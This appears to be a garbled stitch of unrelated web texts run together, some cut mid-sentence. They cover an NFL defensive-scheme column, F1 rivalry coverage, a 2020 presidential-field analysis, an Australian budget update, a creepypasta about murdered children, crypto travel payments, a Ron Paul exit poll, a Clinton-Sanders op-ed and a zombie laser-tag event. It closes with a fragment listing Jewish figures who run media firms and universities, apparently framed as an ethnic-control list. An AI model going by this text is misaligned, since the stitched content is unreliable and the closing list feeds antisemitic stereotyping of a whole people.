The Ravens have the personnel to run a 4-3, though a few tweaks would be needed in certain positions. Suggs and Dummervil would no longer be asked to cover. Jernigan could focus on what he was brought in to do, that being penetrating the backfield and Brandon Williams could use his unmatched combination of quickness and strength at the one technique.
Defensive end and linebacker would be the position that would need addressing. All of a sudden, the prospect of Joey Bosa manning the strong side and sliding inside on passing downs becomes a lot more attractive. Myles Jack handling Will or Sam linebacker duties would also fit in nicely, but it is easy to assume that Steve Biscotti, a self proclaimed "pass rush guy" would be enticed by a four man rush of Dummervil-Bosa-Jernigan-Suggs.
A move to 4-3 seems so likely it is becoming assumed. The MMQB's Andy Benoit, who watches more NFL tape then anyone in the business seems convinced of it, as said on this week's edition of the MMQB's podcast.
This is a move that would match personnel to scheme, and would be a step in the right direction, in getting the Ravens defensive playing at a hundred miles an hour.Toto Wolff says the "gloves are off" in the battle between Sebastian Vettel and Lewis Hamilton after the title rivals twice collided during the Azerbaijan GP.
Vettel was penalised after the stewards ruled that the Ferrari driver had'swerved' into Hamilton's Mercedes behind the Safety Car.
The incident provoked a furious response from Hamilton with the Mercedes driver describing his rival's conduct as "dangerous", "disgusting" and "disgraceful".
At the very least, the controversy marks the end of the 'bromance' which had characterised this season's title fight between Hamilton and Vettel until now.
"Nobody wanted to see the schmoozing anyway, so now the gloves are off," said Wolff. "The sport needs the rivalry. What we have seen today is the ingredient of a great championship.
"They are warriors. They are at war at that moment. They are fighting for the race wins and the championship.
"At a certain stage, the best ones that compete for the world championship in that phase of their careers can't be friends. Maybe we've seen the limit of that respect today."
Sebastian Vettel and Lewis Hamilton twice collide during the Azerbaijan GP Sebastian Vettel and Lewis Hamilton twice collide during the Azerbaijan GP
On the incident in which Vettel veered right into Hamilton's Mercedes after driving alongside the race leader, Wolff added: "Sebastian will know that didn't look great."
But the Silver Arrows chief said he was reserving judgement on whether Vettel's veer into Hamilton's W08 was deliberate.
"I can't almost imagine he would shunt him on purpose. I would like to speak to him personally rather than making a judgement.
"If a driver does that on purpose and in anger then you have to think about the size of the penalty. He is a four-time world champion and we are is setting examples in Formula 1 about what is allowed and what is not."
Wolff described the damage done to Hamilton's diffuser when Vettel first hit the Mercedes as "extensive" but was adamant Hamilton hadn't brake-tested the Ferrari.
"Lewis didn't do anything wrong, we have seen that on the data. He is absolutely fine."
Don't miss the F1 Report: Azerbaijan GP Review on Sky Sports F1 at 8.30pm on Wednesday for the final word on the weekend's action.
Comment below to get involved in the debate, but please adhere to our |
candidates after the 2012 election Note: Data covers period from Nov. 7, 2012, through Nov. 4, 2014.
*Campaign help refers to campaigning with same-party candidates for governor or U.S. Senate in states other than Iowa, New Hampshire and South Carolina.
Who didn’t go to Iowa? Three people who ran lightly funded, no-chance campaigns never went: Republicans Jim Gilmore and George Pataki, and Democrat Lincoln Chafee. John Kasich, who entered the presidential race fairly late, didn’t go. And neither did Jeb Bush.
Sixteen of the 22 visited New Hampshire, 15 visited South Carolina, 14 appeared in early polls of the race, 13 were campaign surrogates for their parties in Senate or gubernatorial races, 11 wrote a book or signed a deal to do so. (Indeed, early polls have never done a great job of identifying the field, although until 2016, at least one survey nearly always included the eventual winner of a party’s nomination. Trump was not in any of the 30 pre-midterm polls of the GOP race. Joe Biden, who did not run, was in 38 of 41 surveys of the Democratic side.)
Who hit all seven of these markers? Ted Cruz, Rand Paul and Marco Rubio. This should not surprise you. They were not all particularly successful as candidates, but as early as 2013, Cruz, Paul and Rubio were showing clear signs that they were preparing to run for president. Hillary Clinton did not visit South Carolina, but took all the other candidate-like steps.
But let’s not get carried away; these indicators don’t do a great job predicting the presidential candidates in a given year for one key reason: They are overly inclusive. Almost everyone who runs for president has gone to Iowa in the preceding years, but not everyone who goes to Iowa runs for president. Some people take many of these steps — likely in an effort to keep the door open in case they later want to walk through it — but don’t actually run. For example, in addition to being included in the early polls in 2013 and 2014, Biden visited the three early states and campaigned for his party’s hopefuls across the country, but did not run in 2016. And some politicians probably want the attention they get when they hint that they are running for president, so they take at least one of these steps. U.S. Rep. Pete King of New York made a series of visits to New Hampshire in 2013 and 2014, but showed few other signs that he was making a presidential run.
So maybe the best way to think about these indicators is as signs that a person is thinking about running for president or that they at least want the media to think they’re thinking about it.
So what does this mean for 2020?
We’re still in the early part of the two-year window we’re looking at, so it’s not surprising that few people have dipped more than a toe into the 2020 pool. We started our search by looking at who has visited the three early primary states or has been included in polls of the 2020 contest, but we acknowledge that those metrics are somewhat crude. While we conducted a thorough Google search using many different search parameters and read local papers and political websites, there is no definitive website tracking every political event in Iowa or New Hampshire. (Appleman has not started doing his 2020 tracking yet.) Local newspapers are more likely to cover Biden appearing in South Carolina than some obscure ex-congressman, even if it later turns out that the congressman, not Biden, was determined to run in 2020.
Moreover, part of our goal here is to identify the next Trump, an unexpected candidate. But unexpected candidacies are unexpected for a reason, and we had to decide who to include in our list. So in addition to people who have been included in at least one national poll or gone to the early states for political events, we’ve added some famous people who have demonstrated an interest in political issues, if not in elective office (Van Jones, Sheryl Sandberg, Mark Zuckerberg).
VISITED POTENTIAL CANDIDATE IOWA N.H. S.C. BOOK INCLUDED IN POLLS HELPED CAMPAIGN* MAGAZINE PROFILE Joe Biden ✓ ✓ ✓ ✓ ✓ Bernie Sanders ✓ ✓ ✓ Al Franken ✓ ✓ ✓ Martin O’Malley ✓ ✓ ✓ Cory Booker ✓ ✓ Hillary Clinton ✓ ✓ Mark Cuban ✓ ✓ Kirsten Gillibrand ✓ ✓ John Kasich ✓ ✓ Michelle Obama ✓ ✓ Elizabeth Warren ✓ ✓ Oprah Winfrey ✓ ✓ Sheryl Sandberg ✓ ✓ Sherrod Brown ✓ Julian Castro ✓ Andrew Cuomo ✓ Van Jones ✓ Jason Kander ✓ Amy Klobuchar ✓ Mark Zuckerberg ✓ Political activity of potential 2020 candidates since the 2016 election, as of May 5 Data covers Nov. 9, 2016, through May 5, 2017.
*Campaign help refers to campaigning with same-party candidates for governor or U.S. Senate in states other than Iowa, New Hampshire and South Carolina.
Biden is the furthest along so far. Less than six months after the November election, the ex-vice president has already hit five of our seven markers: He has visited two early-primary states, been included in polls, signed a book deal, and sat for a New York Times Magazine feature. At a speech last month, he said, “Guys, I’m not running,” a message in some ways contradicted by the fact that he delivered the speech in Manchester, New Hampshire, and had visited South Carolina earlier in April. A former vice president probably has invitations to speak in all 47 of the states where he can avoid presidential speculation. Biden has visited two of the remaining three.
Three other potential candidates have hit three of the markers.
Sanders released a book after the election in November, attended a campaign rally for Virginia gubernatorial hopeful Tom Perriello and has been included in 2020 polls. (The Vermont senator is scheduled to attend an event in Iowa in July, which would be a fourth marker.) Martin O’Malley has visited Iowa, New Hampshire and South Carolina since last November and has already said that he is considering a second presidential run.
The other person who has hit at least three markers is somewhat surprising, since, unlike the others, he has not run for president before: Minnesota Sen. Al Franken. The former Saturday Night Live star was included in polls done by both Public Policy Polling and Rasmussen Reports, was profiled by The New York Times magazine in December and has humorously dubbed himself a “giant of the Senate” in a memoir due out May 30.
Three others have shown up in Iowa or New Hampshire, which is akin to declaring your wish to be president if enough support emerges for your candidacy. Another 2016 also-ran, Ohio Gov. John Kasich, went to Manchester recently to, yes, hawk his new book, “Two Paths: America United or Divided.” Kasich is intriguing, since he did not rule out the idea of challenging the incumbent president of his own party, which is highly unusual.
In December, Jason Kander, the 36-year-old former Missouri secretary of state who narrowly lost a U.S. Senate race last fall, gave a speech to Progress Iowa, a liberal organization there. The youngest person ever elected U.S. president was John F. Kennedy, who was 43 on election day in 1960, so Kander would be an unlikely candidate. On the other hand, if Democrats are looking for someone who might draw in more conservative-leaning voters, Kander has appeal. He lost his Senate race by 3 percentage points in a state, Missouri, that Clinton lost by 19 points. Another potential new face on the presidential scene is Minnesota Sen. Amy Klobuchar, who went to Des Moines on Sunday to speak at a Democratic Party dinner.
Those people, except for Kander, all generally fit the profile of a typical presidential candidate. Is there any sign of the next Trump, a total outsider? Zuckerberg went to South Carolina in March, and Sandberg is headed there this week. But those trips appear to be non-political, so it’s hard to tell if either Facebook executive is trying to become the next president or whether they’re just working to further enhance their own brands. In a joint poll, Harvard’s Center for American Political Studies and Harris Insights and Analytics asked Democrats about the possible candidacies of Mark Cuban, Michelle Obama and Winfrey, along with the usual sitting and former governors and senators. But beyond the fact that those three have recently published books or signed book deals, there is little sign so far of any presidential ambitions from Cuban, Winfrey or Obama.
And so far, the news is really not good if you were looking for Beyoncé, Matt Damon, Tom Hanks or Meryl Streep to run in 2020.
Those people were already longshot candidates. But who else are our metrics not hitting? In my conversations about 2020 with Democrats in Washington, a few names have come up repeatedly: Sens. Kamala Harris (California) and Chris Murphy (Connecticut), and Gov. John Hickenlooper (Colorado). Harris is in her first year in the Senate, while Murphy is up for re-election in 2018. For those two, giving obvious hints of presidential ambition may be unwise, because it could annoy voters in their home states at an inopportune time. The New York Times recently floated the names of Los Angeles Mayor Eric Garcetti and New Orleans Mayor Mitch Landrieu. No one has ever gone directly from city hall to the Oval Office before, but obviously no one had ever gone straight from being a businessman to being POTUS until 2016.
Finally, our analysis assumes that the methods candidates used to raise their profiles and signal interest in a presidential run in 2013 and 2014 will be used again in 2017 and 2018. That could be wrong. Nearly everyone in Washington expects both Booker and Elizabeth Warren to at least strongly consider challenging Trump, since both seemed open to being Clinton’s running mate in 2016 and campaigned across the country for her, further building their national profiles. Booker released a book before Election Day last year, while Warren’s anti-Trump “This Fight Is Our Fight” came out last month.
What are they doing? Well, Booker has already campaigned for his colleagues Bill Nelson of Florida and Joe Donnelly of Indiana, a very traditional move for a potential candidate. But he recently appeared on the podcast of entrepreneur and self-help author Tim Ferriss, and he is fishing for an invite to “Pod Save America,” a podcast run by former Obama aides that is popular with the left. The latter podcast, of course, did not even exist in 2013. And what’s better than being profiled by The New Yorker? Maybe speaking to its editor on a podcast, as Warren recently did. So maybe one of our indicators should be podcasts instead of magazines.
Figuring out who will win the election is complicated. It may be even more difficult to figure out who is running.
CORRECTION (May 8, 12:03 p.m.): A previous version of the second table in this article mistakenly listed Scott Brown instead of Sherrod Brown.MYEFO: Budget deficit forecast for 2014-15 increases $10 billion to $40.4 billion
Updated
The Federal Government says it is "on the right track" to put the budget back in the black in 2019-20.
It means the budget would return to surplus in a third term of a Coalition government.
The budget deficit for this financial year will be $40.4 billion, more than $10 billion larger than forecast in May, in a blowout that is set to continue for at least four years.
The Mid-Year Economic and Fiscal Outlook (MYEFO) has been released after a slight delay caused by the siege in central Sydney.
The May budget had forecast a deficit for 2014-15 of $29.8 billion.
Next year's deficit will be $31.2 billion, or 1.9 per cent of GDP, up from the May forecast of $17.2 billion.
And in 2017-18, the final year of budget forecasts, instead of a deficit of $2.8 billion, the deficit will still be $11.5 billion.
The budget is projected to reach a slim surplus in 2019-20, "reaching 0.8 per cent of GDP by the end of the medium term".
Treasurer Joe Hockey said the Government had "made a good start".
"There is more work to be done but we are on the right track," he said.
"Rather than never-ending deficits, the budget is on track for a credible surplus.
"We are being cautious but realistic in relation to our underlying assumptions.
"There's no massaging the numbers here, none at all."
Surplus put off to the never never: Bowen
Shadow treasurer Chris Bowen has slammed the surplus delay as a broken promise.
"The surplus has been put off to the never never," he said.
"Clearly that is not what the Government promised. The Government promised a return to surplus and they made that the centrepiece of their election campaign."
The budget update shows the Federal Government will receive $31.6 billion less in tax receipts over the next four years - a fall mostly driven by a 30 per cent collapse in iron ore prices.
"We are now witnessing the largest fall in the terms of trade since records were first kept in 1959," Mr Hockey said.
"This has been faster and deeper than anyone expected. Our nation's export income has not been what we expected."
This article includes interactive enhancements which are not supported on this platform. For the full interactive experience in this article, you will need a modern web browser with JavaScript enabled. Find out more about browser support at ABC News Online.
Explained: How the budget bottom line has changed
August 2013: Pre-election forecast
In August last year, Treasury released the Pre-Election Economic and Fiscal Outlook (PEFO), which forecast the budget deficit would hit $30 billion in 2013-14 before turning around and gradually heading back towards a surplus.
The deficit for the current financial year was expected to be $24 billion, falling to $5 billion in 2015-16. A surplus of $4 billion was projected for 2016-17.
December 2013: Hockey's mid-year update
By the time Treasurer Joe Hockey released the Mid-Year Economic and Fiscal Outlook (MYEFO) in December, the situation looked worse, with no surplus visible in the forward estimates.
The outlook for 2013-14 had fallen further to a $47 billion deficit, to be followed in subsequent years by deficits of $34 billion, $24 billion and $18 billion.
These forecasts were all considerably worse than had been set out in PEFO.
May 2014: The first Hockey budget
The May budget saw a further deterioration of expectations for the 2013-14 financial year, with the deficit projection slipping further to $50 billion.
But beyond that the forecast was slightly rosier than set out in MYEFO, with the following deficits put at $30 billion (2014-15), $17 billion (2015-16), $11 billion (2016-17) and $3 billion (2017-18).
December 2014: The latest outlook
Now, MYEFO is forecasting a budget deficit of $40 billion for the current financial year - up more than $10 billion compared to the budget forecast, released seven months ago.
Looking further ahead, the deficit is expected to be $31 billion in 2015/16, $21 billion in 2016/17 and $12 billion in 2017/18.
In August last year, Treasury released the Pre-Election Economic and Fiscal Outlook (PEFO), which forecast the budget deficit would hit $30 billion in 2013-14 before turning around and gradually heading back towards a surplus.The deficit for the current financial year was expected to be $24 billion, falling to $5 billion in 2015-16. A surplus of $4 billion was projected for 2016-17.By the time Treasurer Joe Hockey released the Mid-Year Economic and Fiscal Outlook (MYEFO) in December, the situation looked worse, with no surplus visible in the forward estimates.The outlook for 2013-14 had fallen further to a $47 billion deficit, to be followed in subsequent years by deficits of $34 billion, $24 billion and $18 billion.These forecasts were all considerably worse than had been set out in PEFO.The May budget saw a further deterioration of expectations for the 2013-14 financial year, with the deficit projection slipping further to $50 billion.But beyond that the forecast was slightly rosier than set out in MYEFO, with the following deficits put at $30 billion (2014-15), $17 billion (2015-16), $11 billion (2016-17) and $3 billion (2017-18).Now, MYEFO is forecasting a budget deficit of $40 billion for the current financial year - up more than $10 billion compared to the budget forecast, released seven months ago.Looking further ahead, the deficit is expected to be $31 billion in 2015/16, $21 billion in 2016/17 and $12 billion in 2017/18.
The figures reveal wheat prices have also fallen by 20 per cent since the budget.
Weaker growth in wages - at just 2.5 per cent, the lowest in about 15 years - and employment are forecast to lower tax receipts by $2.3 billion this financial year and $8.6 billion over the forward estimates.
The Treasurer said "newer, higher taxes" was not an option.
"To try and recover these falling revenues now through newer higher taxes would unquestionably harm the Australian economy," he said.
But MYEFO also points the finger at the Senate, saying delays in passing legislation has cost $10.6 billion over the four years of the forward estimates.
That includes axing the mining tax, but keeping some of its associated measures, including the SchoolKids bonus, will cost $6.6 billion over the outyears.
And delays to social security changes are forecast to cost the budget $2.9 billion.
The government said $33.9 billion in measures that will improve the bottom line remain deadlocked, waiting for legislation to pass.
Unemployment is also expected to peak at 6.5 per cent this year, up from the 6.25 per cent that had been forecast in May and remain at that peak until 2016-17, when it is forecast to fall to 6 per cent.
Military operations in Iraq to tackle the threat of terrorism will cost $306 million this financial year.
This is in addition to the $631.4 million the Government had already announced to boost national security.
The Government said this extra spending had been fully offset by cuts, including to foreign aid by $3.7 billion over the forward estimates.
A proposed freeze on family payment rates - which has not yet passed parliament - will also be extended until 2017, with a potential saving of $768 million over two years.
The free trade agreement with Japan will also reduce revenue by nearly $1.6 billion over the forward estimates, though the Government argues the deal will improve our trade position overall.
The budget update also outlines the Government's intention to shut down a further 175 government bodies to reduce the size of the public service.
Topics: budget, government-and-politics, federal-government, federal-parliament, tax, economic-trends, business-economics-and-finance, australia
First posted“I’d moved to a new town, this was a much nicer, cleaner, quieter town than the one I’d lived at before. Not the sort of town you’d expect to have… things wrong with it.
There was a very big public park right in the centre, it housed rows upon rows of swings, slides infested with snake-like tunnels that weaved in and around the playground - providing a maze for children to lose themselves in their games. There was even a functioning merry-go round which seemed to always be slightly turning, inviting the children to hitch a ride on it’s platform of twirls.
I have to emphasize on the fact that it was a quiet, peaceful town. The kind of town where kids could leave the house on their own and take the short journey to the park. I had been given strict instructions by my parents that I should come home the second it started turning dark. My life was wonderful, or so it seemed.
It was a Friday. I knew the day because I remember coming home with a big smile on my face as I knew I had the luxury of non-stop playing for the next two whole days. I did what I always did, I chucked my school bag on my bed and was ordered to change into other clothes. In a matter of minutes I was ready to descend onto the world of fun. Nothing could stop me.
The tunnels were my favourite, it was so easy to get lost in them which made great fun for playing hide and seek with my only 2 friends, Billy and Tom. They were both in my class and we - like many 8-year-olds - loved any game that filled us with pure adrenaline. We were going to play Murder. I don’t expect anyone to know this game, we made it up. The rules were very similar to hide and seek, except when the one seeking found you, they had to ‘murder’ you. (Pretend obviously).
It was nearing winter as I remember being slightly cold as I wormed my way around in the tunnels, furiously trying to find a perfect hiding spot. Billy was the seeker. Tom had hidden behind the merry-go round. I was alone.
It must have been maybe 10minutes (Which for an 8-year-old felt like a year) when I decided to do what all kids do when they get bored - Give up. "I give up!” I shouted, my voice echoing through the tunnels. “I’m in the tunnels! I give up!” I heard sudden shuffling from one end of the tunnel. Now I don’t know why. But I froze still. I didn’t call out again, I just… waited. Something wasn’t right. Billy would always say something before coming in after someone in the tunnel. He’d always congratulate them on being the last to be found, or for cheating by hiding in the endless maze of tunnels. As I stood frozen, the shuffling grew louder. I could tell it was starting to get dark outside as the tunnels slowly began to lose any light in them, slowly but surely dropping into darkness. I began to slowly shuffle backwards, the shuffling ahead of me grew louder, as if someone or something way too big for the tunnel was trying to navigate around. “Come out, it’s time to go home now” A very creepy voice echoed through the tunnels. It sounded like when a grown man talks to small children, talking slightly higher pitched. This was definitely wrong. I probably would have come out if the voice was outside. But it wasn’t. It was inside the tunnels. Why would an adult crawl inside?
As I was shuffling further and further back, the face of an old man appeared in the darkness ahead of me. Patches of hair on his head and a definite look of someone who hadn’t showered in the last week. I couldn’t see what he was wearing but I knew it was tattered old clothes. He had a sharp scraggly beard which was peppered with dirt. The second we made eye contact he just smiled at me. Revealing his filthy, unbrushed teeth which had blotches of brown and black covering them entirely. I panicked, turned around and began shuffling on all fours as fast as I could, The shuffling behind me growing louder and quicker.
He was chasing me.
I sped through the maze for what felt like an eternity, I only stopped when my legs refused to move anymore. I’d taken so many twists and turns that even I was completely lost. “I don’t want to hurt you, I just want to talk” the voice echoed through the tunnels, I could tell he was nearby. I pressed my body against the bottom of the small, narrow tunnel and listened. He continued to make soft cooing noises, begging me to come out and present myself to him. I lay in that tunnel for hours. No exaggeration. Even after I heard him curse to himself and angrily force his way out of the tunnel I continued to wait. Thoughts raced my mind of me coming out the tunnel only to be met by that same smile that once greeted me.
In the darkness of the tunnel I could make out blue flashing lights on the outside, I heard frantic voices calling three names repeatedly. “Billy?! Tom?! Michael?!” When I heard my name my heart slowly began to calm. My parents had come. I easily shuffled out of the tunnels, guided by the wet dirt scrapings along the walls of the tunnel, the way the man must have gone. Outside I was greeted by several police cars, lights flashing. There were groups of adults with concerned looks on the faces. I recognised two of them. My parents. “Mom! Dad!” I wailed, crying as I ran towards them. They began crying and ran towards me, lifting me off the ground and hugging me so tightly it felt as though I was being slowly crushed.
Billy and Tom were taken that evening. They were later found hidden in a nearby skip. Mutilated. They had been brutally massacred, their skulls had been caved in with a large iron bar and their bodies had deep cuts everywhere, large pieces of glass found buried in their backs.
What chills me to the fucking bone is that the wet dirt I saw in the tunnels wasn’t entirely dirt. It was Billy and Tom’s blood. After slaughtering my two best friends and making eye contact with me in that tunnel, he just…Smiled. He had won the game…“
Credit goes to Reddit user CryingCrow.
321 notes
tagged as: strictly. story.Good news if you’re a cryptocurrency enthusiast and a traveler that uses CheapAir.com. The Calabasas, California-based service, which is well known in the community for their accepting of bitcoin payments has expanded their crypto-related reach by now accepting dogecoin and litecoin.
The company hinted at accepting the two digital currencies not terribly long ago on Twitter with the following tweet:
The service allows consumers to book flights, hotel rooms, car rentals, and even cruise trips rather easily, and for the cryptocurrency fanatics out there, that’s certainly a great thing.
And it’s been popular with customers. CheapAir bitcoin sales have exceeded $1.5 million USD, and they’re hoping to make their service even more popular by welcoming dogecoin and litecoin users.
“We try to make travel as easy as possible for customers, and letting people pay the way they want to pay is a big part of that,” says Jeff Klee, CEO of CheapAir.com. “Bitcoin, Litecoin and Dogecoin represent promising technologies that can make transacting online faster, easier, less expensive, and more secure. We admire cryptocurrency early adopters and we’re thrilled to support them.”
Competitor BTCTrip began accepting dogecoin and litecoin in mid-August, so the move on the part of CheapAir.com would seem to make plenty of sense, business wise.
Major competitor Expedia seems to only be sticking to bitcoin on this time, however, and only for hotel bookings at the moment. The company indicates they may expand bitcoin acceptance to flights and more in the future.
CheapAir.com was started in 1989 from Jeff Klee’s college dorm room, following a crash course in the airline industry. At the time, Klee was planning a backpacking trip throughout Europe and on a budget. Since then, the site has grown into a major resource for travelers on a budget.Rep. Ron Paul of Texas, a Republican presidential candidate, and 3-month-old Heide Lange in Dubuque, Iowa on Dec. 22, 2011. (AP Photo)
(CNSNews.com) – Rep. Ron Paul of Texas won by a large margin among young voters in New Hampshire’s presidential primary on Tuesday, according to the exit poll published by CNN.
In the full actual primary count, Paul won 23 percent, finishing second to Romney’s 39 percent.
According to the exit poll, however, Paul won 47 percent of voters 18-to-29. Romney was second in that age group with 26 percent, 21 points behind Paul, former Utah Governor Jon Hunstman was third with 14 percent, former Pennsylvania Sen. Rick Santorum was fourth with 7 percent,and former House Speaker Newt Gingrich was fifth with 3 percent.
Paul also won 35 percent of voters in 30-to-39 bracket, while Romney was close behind with 33 percent.
In a statement sent to CNSNews.com, Paul's press secretary, Gary Howard, said: "Congressman Paul has a strong and consistent message that resonates with a wide range of people, but young people in particular appreciate his honesty and his character. They realize the mess that the establishment status quo politicians have put us in, and recognize that Ron Paul is the only candidate seriously challenging the status quo."
Republican presidential candidate, former Massachusetts Gov. Mitt Romney gives a thumbs up as he campaigns on primary election day outside of a polling station at Webster School in Manchester, N.H., Tuesday, Jan. 10, 2012. (AP Photo/Charles Dharapak)
Romney won the 45-to-64 and 65 and older age brackets with 42 percent for both groups.
Paul earned the most from unmarried voters (35 percent); the most voters who had never voted in a GOP primary (40 percent); the most Independents (32 percent); the most somewhat liberal (33 percent); the most with no religious affiliation (47 percent); and among those who had an unfavorable opinion of Arizona Senator John McCain (33 percent).
The libertarian Republican tied with Romney for voters who earn less than $50,000 a year (31 percent).
As CNSNews.com previously reported, Paul also won the majority of voters under 40 in the Iowa caucuses. Paul finished third in that race with 21 percent, behind Romney and Santorum, each of whom earned 25 percent. However, Paul won 50 percent of caucus-goers aged 17 to 24; 45 percent of caucus-goers aged 25 to 29; and 34 percent of the 30-to-39 age bracket.
The CNN Exit poll was based on 2,760 respondents.Watch CNN's Iowa Town Hall with the Democratic presidential candidates at 9 p.m. ET Monday. Alex Castellanos, a Republican strategist, is the founder of Purple Strategies and NewRepublican.org. Follow him on Twitter @alexcast. The opinions expressed in this commentary are his.
An untidy, 74-year-old socialist from Vermont should never have been able to climb into the ring with the former first lady, our 67th secretary of state and co-owner of one America's most loved political brands. At least in the early rounds, however, Bernie Sanders has pinned Clinton to the ropes, pummeling her with solid left hands.
The biggest contributor to Sanders' success is neither the small-dollar donor who sustains him nor the millennials who flock to his rallies. The co-author of Sanders' accomplishment is Hillary Clinton. Sen. Sanders' indispensable assistant has been the candidate he's running against.
I've only met Clinton once. She was fun and warm and rendered a few minutes a delightful experience. The public persona she has created is of a different character, a woman who has fought, not for people, but for survival and power.
The political Clinton is regarded as a strong, chilly, no-nonsense contender, not a passionate warrior for causes beyond her self-interest. Voters understand that what Clinton has endured has toughened her. If she had shown weakness or surrendered to emotion on her journey, it is doubtful she'd be where she is today.
Clinton is as much a member of the establishment as anyone in the Democratic Party. In a debate, she described one of her signal achievements: "I represented Wall Street as the senator from New York." With her party in hot revolt against the status quo, neither her frosty pragmatism nor establishment credentials endear her to the Democratic base.
Her party moved left
Hillary Clinton's Democratic Party is far left of the one her husband, Bill Clinton, fashioned when he said: "the era of big government is over."
Hillary Clinton's party has been radicalized by Internet activism. Social media has not only concentrated the Democratic Party on its left, it has also squared its intensity, much like talk-radio flamed fires on the Republican right. Success on Twitter is not earned by the moderate or the meek.
Today's Democratic Party has little room for old-school, mechanical pragmatists such as Clinton. Its heart belongs to the rebellious, agitators such as Elizabeth Warren. Combine George McGovern's 1960 anti-war protest campaign with a dash of the "Decade of Love." Tailor the mix with a sprinkle of 2016; iPhones, principled shoes ( TOMS, "The Shoes That Educate Poor People!") and replace LSD with a few pharmacological mood-stabilizers to round life's sharp edges. There, you have Bernie Sanders' throwback-to-the-future campaign: It is fantasy camp for middle-class, wannabe '60s radicals. It is an undemanding revolution, accessible without risk or effort. They would be more comfortable Ubering to Wall Street than marching on it, but their mission of insurrection is unchanged.
Before Sanders is done, Democrats may again wear bell-bottoms with peace-sign patches. Gallup reports that 59% of Democrats have no problem embracing a self-described socialist for president.
More comfortable with process than people
Perhaps no campaign comes naturally to Hillary Clinton. She is more comfortable with process than with people. But this particular crusade, requiring her to overthrow the very establishment to which she belongs and to undermine the rich, among whom she must be counted, has been uniquely difficult for her.
Clinton has campaigned with awkward artificiality. She has advocated her party's new lefty-populism with the grace of Charles Barkley's golf swing.
She has tried. She broke with President Barack Obama on the Trans-Pacific Free-Trade Deal. She cloned Sanders' support of the $15 an hour federal minimum wage. With robotic focus, Clinton even pretended to be Elizabeth Warren. When she said, "Don't let anybody tell you that... businesses create jobs," she looked like a right-handed NFL quarterback attempting a left-handed completion. Clinton is no more comfortable as candidate of the little guy than Richard Nixon walking on the beach in wing tips.
Still, the Democratic Party did not cover its ears. It tried to teach its discordant candidate to sing harmony.
At the beginning of the campaign, Democrats had accepted that Clinton offered the best shot at winning a general election and protecting the White House from a somewhat deranged mob of Republicans.
And Democrats owed a debt to Clinton: Eight years ago, they chose to correct injustices of race before those of gender. They nominated the first black president instead of the first female president. Democrats sent Hillary Clinton and the women of America to the back of the bus to wait their turn. They hoped not to do that again.
Then, Bernie Sanders gave Democrats an opportunity to party like it's 1967. They could dig their tie-dyed shirts out of the closet while helping Clinton. They could bring her home to their middle-class version of Woodstock, this time with cozy theater seating and no mud. By embracing Sanders, they could pressure Clinton to move left: At last, she would be like them.
Making Sanders into a serious rival
Initially, Sanders was not Clinton's opponent. He was a plea from concerned friends, imploring Clinton to renew herself as Hillary Rodham, Wellesley grad, and restore her radicalism.
But Clinton achieved the impossible. She transformed Bernie Sanders from an unelectable messenger to serious opponent. Again, the Sidam Touch doomed her.
Instead of letting the base of her party send her a message, Clinton attacked their messenger. While Sanders runs ads with a 1968 Simon & Garfunkel anthem, inspiring Democrats to "all come to look for America," Clinton has fought back angrily. Her campaign has called Sanders a "socialist," a move of questionable effect, in that he has proudly admitted the same.
Clinton is running Richard Nixon's campaign against the Democratic left at the same time she is appealing to it. She is trying to murder the '60s.
For the past month, Clinton has thought she has been attacking her opponent. She has actually been condemning the Democratic Party's base as it has been trying to rescue her. Instead of telling them, "I hear you!" she has informed them, "I don't get it." Her attacks have worked in reverse, expanding Sanders' advantage day by day.
In the first two states, Clinton has run out of time. The most powerful thing Democratic caucus and primary voters can do with their ballots is not consent to Clinton's rejection of their heartfelt, '60s interpretation of populism but to send her a louder message: Defeats in both Iowa and New Hampshire.
When the nomination process heads south and west after New Hampshire and the population of black and brown voters grows, Clinton's fortunes may improve -- if she is capable of finding her inner radical and applying her strength where Democrats value it, striking at Republicans instead of her base. "The enemy of my enemy," she should remember, "is my friend."
Genuine poll-tested, fake-sincere authenticity, however, is not Clinton's gift. Communing with the little people may not be in her.
In politics, tides usually rise and fall to their previous marks. The tide has gone out on Clinton before. It could easily do so again.
Poor Hillary Clinton has the Sadim Touch. Everything she taps turns to lead.In what will surely leave all other countries green with envy, Melbourne, Australia is to have a one month engagement with a company called I.R.L. Shooter running a game titled Patient 0. But what, exactly, is Patient 0, you might ask? In their own words, it “is a fully immersive live action real life, multiplayer, first person shooter, role-playing game.” They fail to mention in the sentence that the entire experience revolves around you running around and shooting zombies.
But wait, there’s more. The game is running for a month starting October 31st and though it’s beginning in Melbourne there’s a chance that they’ll take it touring throughout Australia. Those of us elsewhere will just have to continue being jealous. Now, we who can’t attend might scoff at the glorified game of laser tag but it’s more involved than that.
Though they’re using typical infra-red technology found in traditional laser tag scenarios, they’re also designing custom assault rifle replicas so as to make the experience as realistic as possible without breaking the law. A total of six players will enter the zombie-infested building — no more, no less — to solve puzzles, collect information, and generally stay alive.
The sound design, lighting and just about everything else is made up to look as professional as possible with even the zombies being played by professionals. In addition, the custom assault rifle replicas will be running custom software designed to keep track of ammunition, friendly fire and the like. With tickets |
vard and Yale, 26% Jewish undergraduate student population, recent presidents Jewish. 23% of all Ivy-League students are Jewish
Popular comedians, Jon Stewart, Marc Maron, Amy Schumer, Sarah Silverman, Mel Brooks, Woody Allen, Adam Sandler, Lenny Bruce, the Marx Brothers, Larry David, Jerry Seinfeld, David Cross, Gene Wilder, Ben Stiller, Al Franken, Lewis Black, Andy Samberg of the Lonely Island, Jack Black, Seth Rogan, Sacha-Baron Cohen, Matt Stone (half Jewish), Stephen Fry, Bob Saget
Niels Bohr and Albert Einstein
Head Editorial page editor at New York Times, James Bennet
Head Editor of the the Washington Post, Martin Baron
Paul Reuter, founder of Reuters News Agency
Larry Page, co-founder of Google. Mark Zuckerburg. Aaron Swartz co-creator of Reddit
Founder of Time Warner, Steve Ross, which owns CNN, HBO, Time Magazine,
Bob Iger, current CEO of Disney, which owns ABC, ESPN, Pixar, Miramax, and Marvel Studios
Sumner Redstone, majority owner of Viacom and CBS, which own MTV, BET, Paramount Pictures, Showtime
Brian Roberts, CEO of Comcast
Jewish actresses: Natalie Portman, Mila Kunis, Scarlett Johansson, Jennifer Connelly, Sarah Michelle Gellar, Gwyneth Paltrow, Kate Hudson, Goldie Hawn, Winona Ryder, Paula Abdul, Jamie Lee-Curtis
